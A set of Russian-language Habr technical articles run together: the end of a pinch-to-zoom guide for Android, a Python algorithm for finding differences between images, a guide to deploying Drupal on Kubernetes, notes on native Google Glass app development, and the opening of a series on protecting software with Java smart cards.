[Запускаем](https://github.com/Prequel-Inc/ZoomUnderMicroscope/tree/6bf65c78d8637b8559ddbbdb3597ebb69bcb0e88), тестим и сталкиваемся со следующей проблемой - `View` не сохраняет начальное положение:
problem3.mp4[drive.google.com](https://drive.google.com/file/d/18W9xSxg0HW6PM1e0lRsmm-7II26L4lFP/view?usp=sharing)Проблема объясняется следующим образом. Представим, что мы скейлим в 2 раза с `pivot = (0,0)`. Тогда вся картинка будет увеличиваться и перемещаться вниз и вправо. А теперь будем скейлить в 1/2 c pivot в правом нижнем углу. Тогда вся картинка будет уменьшатся и приближаться к pivot, то есть также перемещаться вниз и вправо. И мы получим тот же размер, но картинка будет смещена из-за обеспечения неподвижности pivot.
### Коррекция pivot
Придётся отказаться от полной неподвижности и добавить коррекцию, опять же за счёт translation. Используем метод `getContentViewTranslation()` и сдвинем `View`, чтобы она осталась в границах. Теперь `onScale` будет выглядеть следующим образом:
```
override fun onScale(detector: ScaleGestureDetector): Boolean {
totalScale *= detector.scaleFactor
totalScale = totalScale.coerceIn(MIN_SCALE_FACTOR, MAX_SCALE_FACTOR)
player_view.run {
scale(totalScale)
getContentViewTranslation().run {
translationX += x
translationY += y
}
}
return true
}
```
[Итоговый результат:](https://github.com/Prequel-Inc/ZoomUnderMicroscope/tree/master)
result.mp4[drive.google.com](https://drive.google.com/file/d/1XlexwdtvPQ1RJx2W_J77iX1fOY9xQmQe/view?usp=sharing)### Выводы
`ScaleGestureDetector` даёт возможность легко реализовать лишь первый шаг полноценного поведения Pinch-to-zoom. Взаимодействие с уже зазумленной `View` имеет ряд нюансов, которые, я надеюсь, мне удалось раскрыть и предложить переиспользуемые решения.
Всем добра и плавного Pinch-to-zoom! | https://habr.com/ru/post/645463/ | null | ru | null |
# Ищем отличия в изображениях
Привет, Хабр!
По мотивам статьи [Пишем бота для игры «Найди отличие»](http://habrahabr.ru/post/163565/) появилась идея реализовать поиск сторонних объектов на заданном изображении, используя алгоритмы компьютерного зрения.
Подробности — под катом.
#### Описание задачи.
Проблема выделения стороннего объекта возникает во многих ситуациях — например в задачах видеорегистрации, когда нужно, допустим, включить сигнализацию при появленнии постороннего лица ночью на охраняемой территории.
При этом главная сложность обработки сигнала состоит в том, что условия регистрации могут меняться — это зависит от времени суток, задымлённости помещения, состояния самого регистратора (например, запылился объектив). Следовательно, необходимо использовать алгоритм, который позволит выделить сторонний объект вне зависимости от условий, в которых производится съёмка.
#### Сведения из морфологического анализа
Без математического вступления, конечно, не обойтись!
Назовём функцию
```
f(x):X → R
```
изображением. В нашей задаче значение `f(x)` будет соответствовать яркости пикселя (в пределах от 0 до 255).
Пусть *L* — линейное пространство всех изображений, **F** — класс всех борелевских функций, принимающих числовые значения, Ff — подкласс **F**: Ff ={F ∈ **F**: F⊗f(⋅) ∈ L}.
И, наконец, введём важное понятие *формы изображения*: Vf = {F⊗f:F ∈ Ff} ⊂ L. Итак, под формой изображения понимается максимальный инвариант преобразований изображения, которым оно подвергается при изменении условий наблюдения, изменении параметров съёмки. Понятие формы мы и будем использовать при обработке изображений.
#### Алгоритм
Основная идея алгоритма — выделить некий максимальный инвариант изображения, с которым потом мы и будем сравнивать поступающие образы. Реализация алгоритма приведена на Python.
```
from PIL import Image#для работы с изображениями
```
* 1. Преобразуем входное (цветное) изображение в серое — присвоим каждому пикселю вместо цвета значение яркости в диапазоне `[0,255]`
```
im1 = Image.open('./img/test1.jpg')#открываем файл
p1 = im1.convert('L')#вычисляем значение яркости для каждого пикселя
```
* 2. Получим кусочно-постоянную аппроксимацию изображения. Необходимо разбить входное (гладкое) изображение на ряд областей постоянной яркости.
g = ∑Ni=1 A i ci(x),
где ci(x) — значение яркости, постоянное для области A i.
```
for i in xrange(p1.size[1]):#цикл по строкам
for j in xrange(p1.size[0]):#цикл по элементам строки
for l in xrange(len(split_map[1])):
if pix[j,i] in split_map[1][l]:
pix[j,i]=split_map[0][l]#присваиваем среднее группе значение яркости,
measure[l]+=1# считаем мощность мн-ва
break
```
Мы заранее разбиваем интервал значений яркости на равные промежутки [0,...,a\_1],...,[a\_m,...,255]. Затем считаем среднее значение яркости по каждой группе. После этого остаётся только пройтись по изображению и присвоить каждому пикселю среднее значение яркости по группе, в которую он попадает. В итоге получаем разбиение входного изображения на ряд областей постоянной яркости A1,...,AN. Параллельно мы считаем мощность каждого множества постоянной яркости (т.к. множество дискретное — мощность равна количеству пикселей). Как работает алгоритм на примере:
###### Входное изображение

###### Кусочно-постоянная аппроксимация

Полученная кусочно-постоянная аппроксимация — это и есть *форма избражения*.
* 3. Теперь поработаем со входным изображением (на котором нам нужно выделить сторонний элемент). Для этого найдём *проекцию* входного изображения на нашу форму:
PVgf = ∑Ni=1 = (∑xsk∈Aif(xsk)) / (|A|i) ⋅ ci(x).
Другими словами — мы вычисляем для входного изображения нормированное значение яркости на каждом кусочно-постоянном элементе формы.
```
def projector(img,split_form):
p1 = img.convert('L');pix = p1.load();summ = [0]*len(split_form[2][1]);
for l in xrange(len(split_form[2][1])):#выбираем очередное множество постоянной яркости
for i in xrange(p1.size[1]):
for j in xrange(p1.size[0]):
if split_form[3][j,i]==l:
summ[l]+=pix[j,i]
summ[l] = summ[l] / split_form[1][l]#получили "нормированное" значение яркости
#теперь снова проходимся по всему изображению и приписываем пикселям "нормированную" яркость
for i in xrange(p1.size[1]):
for j in xrange(p1.size[0]):
if split_form[3][j,i]==l:
pix[j,i] = summ[l]
return p1
```
* 4. Вот и всё! После того, как мы вычислили проекцию на нашу форму — останется только вычесть из нашей формы (исходного изображения кусочно-постоянного изображения, без стороннего объекта) проекцию нового изображения на форму попиксельно.
Δ = g — PVgf
Разница изображений — как раз и будет искомым объектом.
```
def differ(i1,i2):
map1 = i1.load(); map2 = i2.load()
for i in xrange(i1.size[1]):#цикл по строкам
for j in xrange(i1.size[0]):#цикл по элементам строки
map1[j,i] = map1[j,i] - map2[j,i]
return i1
```
В качестве примера нарисуем посторонний объект на исходном изображении. И дополнительно затемним его, чтобы не было совсем просто (смоделируем изменения условий регистрации).

Итог работы скрипта:

Ура! Мы получили сторонний объект на однородном фоне — его не составит труда выделить его и отметить на исходном изображении. Задача детектирования постороннего объекта решена.
### Вывод
Вывод: был реализован алгоритм морфологического анализа изображений — выделение постороннего объекта на изображении при изменённых условиях регистрации, так же получена [реализация на Python](http://codepaste.ru/12916/).
##### Использованная литература
* 1. Битюков Ю.И. Лекции по компьютерной геометрии; МАИ, 2012
* 2. Пытьев Ю.П. Методы морфологического анализа изображений; Москва, Физматлит 2010
###### P.s.
Подскажите, как набирать формулы? Хочется видеть в статьях красоту Latex! | https://habr.com/ru/post/163585/ | null | ru | null |
# Капля в море: Запуск Drupal в Kubernetes

Я работаю в компании [Initlab](https://drupal-coder.ru). Мы специализируемся на разработке и поддержке Drupal проектов. У нас есть продукт для быстрого создания Ecommerce решений, основанный на Drupal. В 2019 году мы начали решать задачу построения масштабируемой и отказоустойчивой инфраструктуры для нашего продукта.
В качестве платформы для инфраструктуры был выбран Kubernetes. В этой статье разберем особенности Drupal и подходы, с помощью которых можно запускать Drupal в кластере Kubernetes.
Часть статьи является переводом статьи [Джеффа Герлинга](https://www.jeffgeerling.com/blog/2019/running-drupal-kubernetes-docker-production). Со своей стороны добавили более подробное описание вариантов запуска баз данных и отказоустойчивого хранилища в кластере.
Drupal и Docker
---------------

Drupal и Docker могут работать вместе и хорошим примером тут служат локальные среды разработки, построенные вокруг Docker, такие как **Docksal**, **Ddev**, **Lando** и **DrupalVM**. Но локальные среды разработки, в которых кодовая база Drupal в основном монтируется, как том в контейнер Docker, сильно отличаются от рабочей среды, где цель состоит в том, чтобы «вместить» как можно большую часть кода в *stateless* контейнер.
В Kubernetes все, или почти все приложения вынуждены работать, как 12-факторное приложение и при развертывании Drupal в Kubernetes необходимо это учитывать.
Что такое 12 Factor Apps?
-------------------------

На базовом уровне [12-факторное приложение](https://12factor.net/) — это приложение, которое легко развертывается в масштабируемой, широкодоступной и облачной среде.
Многим приложениям нужны базы данных для учетных записей пользователей, общая файловая система для загруженных или сгенерированных файлов, совместно используемых несколькими экземплярами, а также другие элементы, способные затруднить развертывание приложений масштабируемым и гибким способом.
Но 12-факторное приложение — это приложение, которое облегчает развертывание и управление в масштабируемой среде:
* Сохраняет всю свою конфигурацию в декларативном формате, так что нет никаких ручных или неавтоматизированных шагов установки.
* Не слишком сильно связано с одним типом операционной системы или со сложностями настройки алгоритмического языка и среды выполнения.
* Может масштабироваться от одного до нескольких реплик с минимальным (в идеале нулевым) вмешательством.
* Практически одинаково как в производственной, так и в непроизводственной среде.
* 12-факторному приложению могут потребоваться базы данных, общие файловые системы и другие элементы, но в идеале оно может работать так, что сводит к минимуму затраты при работе с этими элементами.
Условия размещения Drupal в Kubernetes
--------------------------------------
Чтобы превратить приложение или веб-сайт на Drupal в более «безликое» 12-факторное приложение, необходимо соблюсти пять главных условий:
1. База данных должна быть постоянной. Данные должны сохраняться между запусками контейнеров.
2. Каталог файлов Drupal должен быть постоянным, масштабируемым и общим для всех веб-контейнеров.
3. Установка Drupal и агрегация CSS и JS должны иметь возможность сохранять данные в каталогах с файлами Drupal-сайта.
4. Настройки Drupal settings.php и другие важные настройки должны настраиваться установкой значений переменных среды.
5. Задание cron в Drupal следует запускать через Drush, чтобы иметь возможность запускать его наиболее эффективным и масштабируемым образом.
Выполнение условий размещения Drupal в Kubernetes
-------------------------------------------------
### 1. База данных
Существует несколько способов решить задачу сохранения данных при перезапуске контейнеров в Kubernetes. Эту задачу необходимо решить любому веб-сервису, использующему базу данных. Рассмотрим эти варианты.
#### Управляемый сервис баз данных
Самый простой и наиболее часто применяемый способ использование сервиса управляемых баз данных: AWS RDS Aurora или Cloud SQL в Google Cloud. В этом случае, мы можем подключить свой сайт на Drupal напрямую к управляемой базе данных.
Недостатком данного подхода является то, что он может быть дороже, чем решение с самостоятельным управлением, и не всегда применим из-за особенностей инфраструктуры. Преимущество управляемых баз данных в том что это надежное решение и не требуется тратить ресурсы на администрирование.
#### Docker образ mysql
Использовать базы данных внутри кластера Kubernetes можно, организовав отдельный контейнер для данных с помощью Docker. Это решение по стоимости дешевле, сохраняет переносимость и хорошо работает с небольшими сайтами и приложениями.
Но если необходимо иметь высокодоступные базы данных, реплицируемые на запись/чтение данных внутри Kubernetes, потребуется сделать гораздо больше работы.
#### MySQL Operator
Проект MySQL Operator предназначен для упрощения процесса размещения базы в кластере. Не работает в последних версиях kubernetes, начиная с 1.16. Кроме того, в каждой версии Kubernetes могут вноситься значительные изменения в API, из-за чего проект требуется адаптировать к новым версиям, что разработчики не всегда успевают делать.
#### Percona XtraDB Cluster Operator
Альтернатива MySQL Operator — это решение [Percona XtraDB Cluster Operator](https://github.com/percona/percona-xtradb-cluster-operator). Percona XtraDB Cluster объединяет в себе Percona Server для MySQL, работающий с механизмом хранения XtraDB, и Percona XtraBackup с библиотекой Galera, для обеспечения синхронной multi-master репликации.

Балансировка нагрузки выполняется с помощью демона ProxySQL, который принимает входящий трафик от клиентов MySQL и перенаправляет его на серверы MySQL. ProxySQL эффективно управляет рабочей нагрузкой базы данных по сравнению с другими балансировщиками нагрузки, которые не поддерживают SQL.
#### Helm chart для MariaDB
Более простым для запуска базы данных в кластере Kubernetes может быть использование Helm chart для MariaDB, которое позволяет развернуть в Kubernetes реплицированный кластер MariaDB. В данном кластере развертывается один master, а остальные — slave контейнеры, с которых возможно чтение данных. В отличии от multi-master репликации, при отказе master контейнера будет остановке сервиса, на время запуска нового «мастера».
#### PostgreSQL
Если рассматривать СУБД PostgreSQL, то существует проект Stolon — облачный менеджер для обеспечения высокой доступности кластера PostgreSQL.
При деплое баз данных под MySQL или PostgreSQL, в Kubernetes, нужно где-то сохранять файлы с фактическими данных. Наиболее распространенный способ — подключить Kubernetes PV (Persistent Volume) к контейнеру MySQL.
Итак, придется решить проблему запуска постоянной базы данных в кластере Kubernetes, если требуется использовать полностью облачную среду.
### 2. Каталог файлов Drupal
Drupal должен иметь возможность записи в файловую систему внутри кодовой базы в нескольких случаях:
* Когда во время установки Drupal перезаписывается файл settings.php.
* Когда во время установки Drupal не проходит предварительную проверку установщика, если каталог сайта (например sites/default) не доступен для записи.
* Если при создании кеша тем Drupal требуется доступ на запись в каталог публичных файлов, чтобы он мог хранить сгенерированные файлы Twig и PHP.
* Если используется агрегация CSS и JS, Drupal требуется доступ на запись в каталог публичных файлов, чтобы он мог хранить сгенерированные файлы js и css.
Существует несколько вариантов решения этих задач.
#### NFS
Самое простое решение всех этих задач, позволяющее Drupal масштабировать и запускать более одного экземпляра Drupal — это использовать NFS для папки файлов Drupal (например sites/default/files). Однако легче — не значит лучше. У NFS есть свои особенности:
* NFS имеет проблемы с производительностью блокировок файлов при нагрузках.
* NFS может быть медленным для определенных типов доступа к файлам.
#### Облачное хранилище совместимое с S3
Можно использовать сервис хранения типа Amazon S3 в качестве общедоступной файловой системы для своего Drupal сайта, что снизит затраты на поддержку хранилища и повысит его надежность. Для интеграции S3 хранилища с drupal можно использовать, например, модуль S3FS.
#### Распределенные файловые системы
Также можно использовать распределенные файловые системы, такие как Gluster или Ceph. Однако тут увеличивается сложность поддержки таких решений, которые можно решить в Kubernetes с помощью проекта rook.
#### Проект Rook

[Rook](https://rook.github.io) "превращает" распределенные системы хранения в самоуправляемые, самомасштабируемые, самовосстанавливающиеся сервисы хранения. Он автоматизирует задачи администратора хранилища: развертывание, загрузку, настройку, предоставление, масштабирование, обновление, миграцию, аварийное восстановление, мониторинг и управление ресурсами.
Rook использует возможности платформы Kubernetes для предоставления своих услуг: облачное управление контейнерами, планирование и оркестрация.
Rook управляет несколькими решениями для хранения, предоставляя общую платформу для всех из них. Rook гарантирует, что все они будут хорошо работать в Kubernetes:
* Ceph
* EdgeFS
* CockroachDB
* Cassandra
* NFS
* Yugabyte DB
### 3. Установка Drupal

Сделать файл *settings.php* доступным для записи во время установки более сложная задача, особенно если вам нужно установить Drupal, а затем развернуть новый образ контейнера ( *что произойдет со всеми записанными значениями settings.php? Они будут удалены при перезапуске контейнера!* ). Поэтому решение данной задачи получило отдельный пункт описания особенностей запуска Drupal в Kubernetes.
Пользователи могут устанавливать Drupal через веб-интерфейс мастера установки или автоматически через Drush. В любом случае Drupal во время установки, если еще не установлены все правильные переменные в *settings.php*, добавляет некоторые дополнительные конфигурации к файлу *sites/default/settings.php* или создает этот файл, если его не существует.
Следующие параметры должны быть предварительно установлены в settings.php, чтобы Drupal автоматически пропускал экран установки и не требовал записи дополнительных конфигураций в файл settings.php:
```
// Config sync directory.
$config_directories['sync'] = '../config/sync';
// Hash salt.
$settings['hash_salt'] = getenv('DRUPAL_HASH_SALT');
// Disallow access to update.php by anonymous users.
$settings['update_free_access'] = FALSE;
// Other helpful settings.
$settings['container_yamls'][] = $app_root . '/' . $site_path . '/services.yml';
// Database connection.
$databases['default']['default'] = [
'database' => getenv('DRUPAL_DATABASE_NAME'),
'username' => getenv('DRUPAL_DATABASE_USERNAME'),
'password' => getenv('DRUPAL_DATABASE_PASSWORD'),
'prefix' => '',
'host' => getenv('DRUPAL_DATABASE_HOST'),
'port' => getenv('DRUPAL_DATABASE_PORT'),
'namespace' => 'Drupal\Core\Database\Driver\mysql',
'driver' => 'mysql',
]
```
В данном примере используются переменные окружения (например: DRUPAL\_HASH\_SALT) с функцией PHP getenv() вместо "жестко" заданных значений в файле. Это позволяет контролировать настройки, которые Drupal использует как при установки, так и для новых контейнеров, которые запускаются после установки Drupal.
В файле Docker Compose, чтобы передать переменные, указываются директива environment для контейнера web/Drupal следующим образом:
```
services:
drupal:
image: drupal:latest
container_name: drupal
environment:
DRUPAL_DATABASE_HOST: 'mysql'
[...]
DRUPAL_HASH_SALT: 'fe918c992fb1bcfa01f32303c8b21f3d0a0'
```
А в Kubernetes, когда создаете Drupal Deployment, передать переменные среды можно с помощью envFrom и ConfigMap (предпочтительно), также можно напрямую передавать переменные среды в спецификации контейнера:
```
---
apiVersion: extensions/v1beta1
kind: Deployment
metadata:
name: drupal
[...]
spec:
template:
[...]
spec:
containers:
- image: {{ drupal_docker_image }}
name: drupal
envFrom:
- configMapRef:
name: drupal-config
env:
- name: DRUPAL_DATABASE_PASSWORD
valueFrom:
secretKeyRef:
name: mysql-pass
key: drupal-mysql-pass
```
Приведенный выше фрагмент манифеста предполагает, что уже в kubernetes есть ConfigMap с именем drupal-config содержащей все DRUPAL\_\* переменные, кроме пароля к базе данных, а также секрет, названный mysql-pass, с паролем в ключе drupal-mysql-pass.
На этом этапе, если создаете новую среду с помощью Docker Compose локально или в кластере Kubernetes, можете перейти к установщику пользовательского интерфейса или использовать Drush. При этом не требуется вводить учетные данные базы данных, поскольку эти и другие необходимые переменные уже предварительно настроены.
### 4. Конфигурация Drupal, управляемая средой
Также может быть ряд других параметров конфигурации, которыми требуется управлять, используя переменные среды. Drupal еще не имеет механизма для этого, поэтому необходимо встроить такие настройки в код, используя getenv().
### 5. Выполнение заданий Cron Drupal в Kubernetes

Чтобы отслеживать любые проблемы с cron отдельно от обычного веб-трафика и быть уверенным, что выполнение заданий cron не мешает обычным посещениям страниц следует запускать cron через внешний процесс вместо того, чтобы запускать его при посещениях интерфейсной страницы (*именно так Drupal по умолчанию запускает cron*).
Внутри Kubernetes не нужно настраивать crontab ни на один из узлов Kubernetes, работающих с сайтами Drupal. И хотя может быть внешняя система, например Jenkins, запускающая задания cron на Drupal сайте, гораздо проще просто запускать Cron Drupal как Kubernetes CronJob, в идеале в том же пространстве имен Kubernetes, что и Drupal.
Самый надежный способ запуска Drupal cron — через Drush, но запуск отдельного контейнера Drush через CronJob означает, что CronJob должен запланировать сложный контейнер, работающий как минимум на PHP и Drush. Поды CronJob должны быть максимально легкими, чтобы их можно было планировать на любом системном узле и запускать очень быстро (даже если ваш контейнер Drupal еще не был загружен на этот конкретный узел Kubernetes).
Cron Drupal поддерживает запуск путем посещения URL-адреса, и это самый простой вариант для работы с Kubernetes. Пример настройки CronJob:
```
---
apiVersion: batch/v1beta1
kind: CronJob
metadata:
name: drupal-cron
namespace: my-drupal-site
spec:
schedule: "*/1 * * * *"
concurrencyPolicy: Forbid
jobTemplate:
spec:
template:
spec:
containers:
- name: drupal-cron
image: byrnedo/alpine-curl:0.1
args:
- -s
- http://www.my-drupal-site.com/cron/cron-url-token
restartPolicy: OnFailure
```
URL drupal\_cron\_url зависит от сайта и можно его найти, посетив страницу */admin/config/system/cron*. Убедитесь, что в настройках cron для «Run cron every» установлено значение «Never», чтобы cron запускался только через CronJob Kubernetes.
Можно использовать [byrnedo/alpine-curl](https://hub.docker.com/r/byrnedo/alpine-curl/) образ докера, который является чрезвычайно легким — всего 5 или 6 МБ — так как он основан на Alpine Linux. Большинство других контейнеров, которые есть на базе Ubuntu или Debian, имеют размер, по крайней мере, 30-40 МБ (так что они будут использовать гораздо больше времени, чтобы загрузить первый раз, когда CronJob запускается на новом узле).
Заключение
----------
Мы рассмотрели особенности размещения Drupal проектов в Kubernetes. В продолжении этой статьи детально рассмотрим как мы запустили наш [продукт](https://n1commerce.ru) в кластере Kubernetes. | https://habr.com/ru/post/508330/ | null | ru | null |
# Пишем приложения для Google Glass
Несколько дней назад я имел [возможность](http://kyiv.gdg.org.ua/post/2917/) основательно попрактиковаться в разработке приложений для Google Glass. Полученный опыт растеряется со временем, так как пока разрабатывать что-то ещё под “очки” не планирую. Чтобы поделиться пока ещё свежими впечатлениями решил написать этот топик.
Думаю, всем кто интересуется Google Glass известно, что представляет собой программная “начинка” этого гаджета. Да, это Android 4 с адаптированным launcher-ом. Да, в “очках” вполне можно запускать обычные android-приложения, установив их туда через adb. Известно вам наверняка и про Mirror API, который до недавнего времени считался единственным способом официально предоставить свой сервис пользователю Google Glass. Ниже я немного расскажу о использовании этого инструмента. Но главное, о чём хотелось бы рассказать — как писать под Google Glass полноценные android-приложения, используя пока ещё не официальный Glass Development Kit.
##### Итак, для начала, сделаем себе Google Glass
Если вы не попали в число избранных обладателей революционного гаджета, не отчаивайтесь. Почти настоящий Google Glass вы сможете сделать из своего android-смартфона или планшета, установив на него launcher и несколько сопутствующих apk [отсюда](https://github.com/zhuowei/Xenologer). Вы получите полноценный интерфейс с timeline-карточками, нормально работающее распознавание голосовых команд, bluetooth, кое-как работающую камеру (удалось нормально запустить только на Nexus 7) звук и Hangouts в придачу. С навигацией как-то не сложилось, но возможно у вас получится лучше. При первом запуске launcher запросит доступ к вашему аккаунту как обычное приложение. Даём ему права и становимся почти настоящим Glass Explorer-ом. По крайней мере вы сможете себе отправлять timeline-карточки через Mirror API.
##### Почему Goggle даёт Mirror API только владельцам Google Glass?
Что сделает нормальный программист, получив доступ к новому инструменту? Конечно же, начнёт писать код. Затем — тестировать. А когда багов вроде бы не останется — опубликует так или иначе своё детище. Это нормально везде, только не в Google Glass. На этой платформе пользователь не переключает внимание между реальным и виртуальным миром. Google Glass в этом смысле — уникальный инструмент. Не пользующийся “очками” программист скорее всего не сможет сделать своё приложение достаточно ненавязчивым и одновременно функциональным, особенно поначалу. Пользовательский опыт Glass Explorer-а в полной мере гайдлайнами не заменяется. Вероятно для того чтобы оградить пока ещё крошечное сообщество “носителей” Google Glass от тонны неприятных и навязчивых приложений Google и “прячет” Mirror API.
Но, допустим, доступ у вас есть. Что мы можем делать с его помощью?
##### Публикуем и подписываемся без гарантии сроков доставки
Основная парадигма интерфейса Google Glass — это Timeline. Справа от “домашнего” экрана с часами и голосовым вводом — бесконечная лента карточек уходящих в прошлое. Все приложения, использующие Mirror API публикуют туда свои карточки в хронологическом порядке и могут подписываться на события, которые с этими карточками происходят.
События пользователь генерирует с помощью элементов меню, привязанных к карточке. Карточка может содержать как предопределённые элементы меню, например “Delete” или “Share” а также определённые приложением. Карточка может содержать вложенные карточки. Схема организации таких “пакетов” достаточно примитивна и не позволяет делать многоуровневые конструкции. Мы назначаем серии карточек один и тот же bundleId а той карточке, что должна быть “обложкой” устанавливаем isBundleCover=true. При этом меню “обложки” становится недоступным. Использовать его снова пользователь сможет только если удалит все вложенные карточки.
Карточки могут располагаться и слева от “домашнего” экрана. Это “закреплённые” карточки. Вы можете попытаться добавить такую карточку через Mirror API, установив свойство isPinned=true но у вас, скорее всего, ничего не выйдет. Mirror API всё равно свалит вашу карточку в общую ленту. Впрочем, решение есть: добавляем в опции меню с action TOGGLE\_PINNED и пользователь сам, если сочтёт нужным, закрепит вашу карточку. Обновление карточки уже не будет влиять на её состояние — она так и останется закреплённой пока вы или пользователь не удалите её или пользователь не сделает ей UnPin той же опцией в меню.
Это, понятно, не всё, что вы можете делать с помощью Mirror API. Вы можете добавить пользователю “контакт” вашего приложения, давая тем самым возможность ему шарить вам фото или видео. Карточки могут включать вложения. Есть куча особенностей в формировании внешнего вида этих самых карточек. Оставлю тут только ссылки на пару полезных ресурсов, где всё это вы можете попробовать. [APIs Explorer](https://developers.google.com/apis-explorer/#p/mirror/v1/) даст вам возможность тренироваться в общении с Mirror API, а [playground](https://developers.google.com/glass/playground) позволит “подизайнить” карточки.
Важно же данном случае другое: вы НИКАК не сможете сделать с помощью Mirror API интерактивное приложение. Пользователь может что-то сделать в вашем “интерфейсе” но вы не можете быть уверены в том, когда это событие вам доставит Google. Вы можете что-то показать пользователю. Но вы никак не сможете предвидеть, когда пользователь получит ваше “послание”. Большинство великолепных идей приложений просто принципиально не реализуемы с помощью Mirror API. Это надо понимать. И с этим надо смириться.
##### Как же сделать что-то интерактивное?
И тут нам на помощь приходит Glass Development Kit. Официально он уже разрешён, хотя ещё не опубликован. Google призывает использовать обычный Android SDK. Можно и так, но не стоит забывать о весьма необычных свойствах Google Glass в плане “пользовательского ввода”. У нас нет кнопок. Нет touch-панели в привычном нам смысле. То, по чему Glass Explorer-ы “тапают” и “свайпают” понимает только жесты. OnTouch на нём поймать не получится. У нас нет возможности перехватить долгое нажатие а жест сверху вниз зарезервирован и ловится в приложении как onBackPressed. Выручают, как ни странно, сенсоры. Кивок и поворот головы для этого устройства — вполне достойная замена кнопкам. С голосовым вводом, который должен заменять всё, пока не так хорошо как хотелось бы. По крайней мере у меня пока не получилось добавлять свои команды и получать события при их распознавании. Но, возможно, я недостаточно старался и у вас получится лучше.
##### В общем, делается это как-то так
Находим какое-нибудь нативное приложение для Google Glass, например [это](https://github.com/neonglass/youtubeglassfeed). Берём оттуда glasslib.jar, который, предположительно и есть подобие того, что потом будет опубликовано как GDK. Добавляем его в свой проект и получаем возможность манипулировать timline-карточками так же, как и через Mirror API. Только есть два существенных преимущества. Никаких задержек и никаких ограничений. Если вы теперь сделаете карточке isPinned(true), то она послушно станет слева от “домашнего” экрана без всякого участия пользователя. Работаем с Timline через TimlineHelper и обязательно из сервиса. Обычная схема такая: у приложения есть только одно Activity, которое стартует Service при старте и завершается. Также не помешает подписаться на событие загрузки устройства и из BroadcastReceiver-а опять-таки поднимать наш сервис. В Service проверяем есть ли у пользователя карточка нашего приложения (для этого хорошо бы хранить её Id в SharedPreferences) удаляем старую и добавляем новую, опять же сохраняем её Id.
```
import android.app.Service;
import android.content.ContentResolver;
import android.content.Intent;
import android.content.SharedPreferences;
import android.os.IBinder;
import android.preference.PreferenceManager;
import com.google.glass.location.GlassLocationManager;
import com.google.glass.timeline.TimelineHelper;
import com.google.glass.timeline.TimelineProvider;
import com.google.glass.util.SettingsSecure;
import com.google.googlex.glass.common.proto.MenuItem;
import com.google.googlex.glass.common.proto.MenuValue;
import com.google.googlex.glass.common.proto.TimelineItem;
import java.util.UUID;
public class GlassService extends Service {
private static final String HOME_CARD = "home_card";
@Override
public int onStartCommand(Intent intent, int flags, int startid){
super.onStartCommand(intent, flags, startid);
GlassLocationManager.init(this);
SharedPreferences preferences = PreferenceManager.getDefaultSharedPreferences(this);
String homeCardId = preferences.getString(HOME_CARD, null);
TimelineHelper tlHelper = new TimelineHelper();
ContentResolver cr = getContentResolver();
if(homeCardId != null){
// find and delete previous home card
TimelineItem timelineItem = tlHelper.queryTimelineItem(cr, homeCardId);
if (timelineItem!=null && !timelineItem.getIsDeleted()) tlHelper.deleteTimelineItem(this, timelineItem);
}
// create new home card
String id = UUID.randomUUID().toString();
MenuItem delOption = MenuItem.newBuilder().setAction(MenuItem.Action.DELETE).build();
MenuItem customOption = MenuItem.newBuilder().addValue(MenuValue.newBuilder().setDisplayName("Custom").build()).setAction(MenuItem.Action.BROADCAST).setBroadcastAction("net.multipi.TEST_ACTION").build();
TimelineItem.Builder builder = tlHelper.createTimelineItemBuilder(this, new SettingsSecure(cr));
TimelineItem item = builder.setId(id).setText("Hello, world!").setIsPinned(true).addMenuItem(customOption).addMenuItem(delOption).build();
cr.insert(TimelineProvider.TIMELINE_URI, TimelineHelper.toContentValues(item));
preferences.edit().putString(HOME_CARD, id).commit();
return START_NOT_STICKY;
}
@Override
public IBinder onBind(Intent intent){
return null;
}
}
```
Как видно выше, наша карточка снабжена меню из двух пунктов: Delete и Custom. И если первый обрабатывает система, послушно удаляя карточку, то второй бросит нам broadcast, который мы можем поймать и обработать.
Чтобы не останавливаться на банальном «Hello, world» я сделал [небольшой проект](https://github.com/smmarat/GlassCR). Можете использовать его как более расширенный материал для изучения особенностей «нативной» работы с Google Glass. Ну, и, само собой, я всегда готов ответить на вопросы.
Конечно, никто не заставляет нас использовать TimeLine в качестве интерфейса для своего приложения. Мы вполне можем поднять Activity с простенькими элементами управления, научить пользователя обходиться с ними… Для графически насыщенных приложений, например игр, это вообще будет единственным выходом. Но, что касается обычных приложений, их, по-моему, стоит выполнять в “родном” стиле для этой необычной платформы. Тогда они смогут рассчитывать на гораздо более тёплый приём у пользователей. | https://habr.com/ru/post/188710/ | null | ru | null |
# Использование Java смарт-карт для защиты ПО. Глава 3. Установка и настройка IDE

В данном цикле статей пойдет речь об использовании Java смарт-карт (более дешевых аналогов электронных ключей) для защиты программного обеспечения. Цикл разбит на несколько глав.
Для прочтения и осознания информации из статей вам понадобятся следующие навыки:
* Основы разработки ПО для Windows (достаточно умения программировать в любой визуальной среде, такой как Delphi или Visual Basic)
* Базовые знания из области криптографии (что такое шифр, симметричный, ассиметричный алгоритм, вектор инициализации, CBC и т.д. Рекомендую к обязательному прочтению Прикладную Криптографию Брюса Шнайера).
* Базовые навыки программирования на любом языке, хотя бы отдаленно напоминающем Java по синтаксису (Java, C++, C#, PHP и т.д.)
Цель цикла — познакомить читателя с Ява-картами (литературы на русском языке по их использованию крайне мало). Цикл не претендует на статус «Руководства по разработке защиты ПО на основе Ява-карт» или на звание «Справочника по Ява-картам».
#### Состав цикла:
* [Глава 1. Ява-карта. Общие-сведения.](http://habrahabr.ru/post/255529/)
* [Глава 2. Ява карта с точки зрения разработчика апплетов](http://habrahabr.ru/post/255531/)
* [Глава 3. Установка и настройка IDE](http://habrahabr.ru/post/255533/)
* [Глава 4. Пишем первый апплет](http://habrahabr.ru/post/255535/)
* [Глава 5. Безопасность](http://habrahabr.ru/post/255537/)
#### 1. Установка необходимого ПО
Нормальной IDE, которая бы полностью поддерживала Javacard SDK 2.2.1 мне не попадалось. Ну разве что JCOP Tools, которые IBM продала NXP, а NXP где-то потеряла. Но даже если вы найдете этот комплект — он платный. Для его использования по слухам требуется еще и подписание NDA. Есть несколько платных SDK из которых я работал только с CyberFlex SDK. Не понравилось.
[NetBeans 6.9+](https://netbeans.org/kb/docs/javame/java-card.html) включает в себя плагин Javacard Tools, который действительно довольно-таки мощный. Но, к сожалению, этот плагин пока поддерживает только разработку карт, совместимых с Javacard SDK 3.0 Connected. А таких карт на рынке мало. Впрочем, никто не мешает разрабатывать апплет в этой среде без использования возможностей Java Card API 3.x, а потом просто скомпилировать / сконвертировать исходники апплета обычным SDK 2.2.1.
